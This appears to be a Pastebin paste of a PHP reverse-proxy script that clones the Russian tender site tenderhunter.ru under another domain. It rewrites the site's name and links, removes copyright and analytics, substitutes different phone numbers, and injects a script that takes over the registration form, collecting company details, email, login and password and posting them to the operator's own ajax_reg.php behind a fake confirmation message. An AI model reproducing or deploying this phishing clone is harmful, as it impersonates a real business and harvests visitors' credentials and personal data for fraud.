Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- <?php
- $cache_enabled = false;
- $base_path = dirname($_SERVER['SCRIPT_NAME']);
- if ($base_path <> '/') {
- $base_path .= '/';
- }
- $uri = $_SERVER['REQUEST_URI'];
- $uri = preg_replace('|/{2,}|', '/', $uri);
- $uri = $base_path == $uri ? '' : substr($uri, strlen($base_path));
- $cache_file = 'cache/' . urlencode($uri) . '.dat';
- $content_type = '';
- if ($cache_enabled && file_exists($cache_file)) {
- $content = file_get_contents($cache_file);
- $pos = strpos($content, ',');
- $content_type = substr($content, 0, $pos);
- $content = substr($content, $pos + 1);
- }
- else {
- $content = @file_get_contents('http://www.tenderhunter.ru/' . $uri);
- if (strlen($content)) {
- foreach ($http_response_header as $v) {
- preg_match('/Content-Type: (.*)/i', $v, $matches);
- if ($matches) {
- $content_type = $matches[1];
- break;
- }
- }
- $parts = explode(';', $content_type);
- if ('text/html' == $parts[0]) {
- var_dump($uri);
- // заменяем прямые ссылки
- $content = preg_replace('~(www\.)?tenderhunter\.ru/~i', $_SERVER['HTTP_HOST'] . $base_path, $content);
- // ссылки со слешем впереди
- $content = preg_replace('~(?:(?<= src=[\'"])|(?<= href=[\'"]))/([^/])~', $base_path . '$1', $content);
- // заменяем в тексте название сайта
- $content = preg_replace('~tenderhunter\.ru~i', $_SERVER['HTTP_HOST'], $content);
- // убираем копирайт
- $content = preg_replace('~<a class="dev_link".*?/a>~', '', $content);
- $content = str_replace('<span class="red">доступно после оплаты тарифа</span>', '<span class="red">доступно после регистрации</span>', $content);
- $content = str_replace('8 800 100 5712', '8 800 100 1488', $content);
- $content = str_replace('8 (495) 268-02-10', '8 (495) 268-02-14', $content);
- $content = preg_replace('~<!-- Yandex\.Metrika counter -->[\s\S]*?<!-- /Yandex\.Metrika counter -->~', '', $content);
- $content = preg_replace('~<script type="text/javascript">\s+<!--//<!\[CDATA\[[\s\S]*?//\]\]>-->\s+</script>~', '', $content);
- // $content = str_replace('<li class="menu_3"><a href="/tarif.aspx">Тарифы</a></li>', '', $content);
- $content = str_replace('var s = document.getElementsByTagName(\'script\')[0]; s.parentNode.insertBefore(ga, s);', '/* FUCK YOU! */', $content);
- $content .= <<<INJECTION
- <script>
- pageTracker = {}
- pageTracker._trackPageview = function () {}
- function __doPostBack(_) {
- _ = _.split('$').slice(0, -1);
- _.push('');
- _ = _.join('_');
- console.log(_);
- if (_ == 'ctl00_side_bar_') alert('Неправильный логин либо пароль');
- else if (_ == 'ctl00_ContentPlaceHolder1_') {
- var type = document.getElementById(_ + 'ddlType');
- if (type.value == '-1') {
- alert('Выберите организационно-правовую форму Вашего предприятия');
- type.focus();
- }
- else {
- type = type.options[type.value].innerHTML;
- var inputName = document.getElementById(_ + 'txtName');
- var name = inputName.value = inputName.value.trim();
- if (name == '') {
- alert('Введите название Вашей организации');
- inputName.focus();
- }
- else {
- var inputContact = document.getElementById(_ + 'txtContact');
- var contact = inputContact.value = inputContact.value.trim();
- if (contact == '') {
- alert('Укажите контактное лицо');
- inputContact.focus();
- }
- else {
- var inputContactPost = document.getElementById(_ + 'txtContactPost');
- var contactPost = inputContactPost.value = inputContactPost.value.trim();
- if (contactPost == '') {
- alert('Укажите должность');
- inputContactPost.focus();
- }
- else {
- var inputCode = document.getElementById(_ + 'txtCode');
- var code = inputCode.value = inputCode.value.trim();
- if (/^\d+$/.test(code)) {
- var inputPhone = document.getElementById(_ + 'txtPhone');
- var phone = inputPhone.value = inputPhone.value.trim();
- if (/^\d+$/.test(phone)) {
- var inputEmail = document.getElementById(_ + 'txtEmail');
- var email = inputEmail.value;
- if (/^[.-\w]+@([\w-]+\.)+\w+$/.test(email)) {
- var region = document.getElementById(_ + 'ddlRegion');
- if (region.value == '-1') {
- alert('Выберите регион');
- region.focus();
- }
- else {
- region = region.options[region.value].innerHTML;
- var inputLogin = document.getElementById(_ + 'txtLogin');
- var login = inputLogin.value = inputLogin.value.trim();
- if (/^\w{3,32}$/.test(login)) {
- var inputPassword = document.getElementById(_ + 'txtPassword1');
- var password = inputPassword.value;
- if (/^\w{6,32}$/.test(password)) {
- if (password == document.getElementById(_ + 'txtPassword2').value) {
- data = [type, name, contact, contactPost, code, phone, email, login, password];
- // console.log(data);
- data = JSON.stringify(data);
- var req = new XMLHttpRequest;
- req.open('POST', 'ajax_reg.php');
- req.onload = function () {
- var elem = document.getElementById('HideInfo');
- elem.innerHTML = '<p style="color: green;">Спасибо за регистрацию. Ваш аккаунт должен быть подтвержден Администрацией сайта, после чего Вам будет выслано письмо с ссылкой для активации. Проверка может занять от 2 до 48 часов.</p>';
- location.hash = '#success';
- window.scrollTo(0, 0);
- };
- req.send(data);
- }
- else {
- alert('Введенные пароли не совпадают');
- }
- }
- else {
- alert('Неправильный пароль');
- inputPassword.focus();
- }
- }
- else {
- alert('Неправильный логин');
- inputLogin.focus();
- }
- }
- }
- else {
- alert('Неправильный email');
- inputEmail.focus();
- }
- }
- else {
- alert('Неправильный номер телефона');
- inputPhone.focus();
- }
- }
- else {
- alert('Неправильный код телефона');
- inputCode.focus();
- }
- }
- }
- }
- }
- }
- }
- </script>
- INJECTION;
- }
- if ($cache_enabled) {
- file_put_contents($cache_file, $content_type . ',' . $content);
- }
- }
- }
- if ($content_type) {
- header("Content-Type: $content_type");
- }
- echo $content;
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement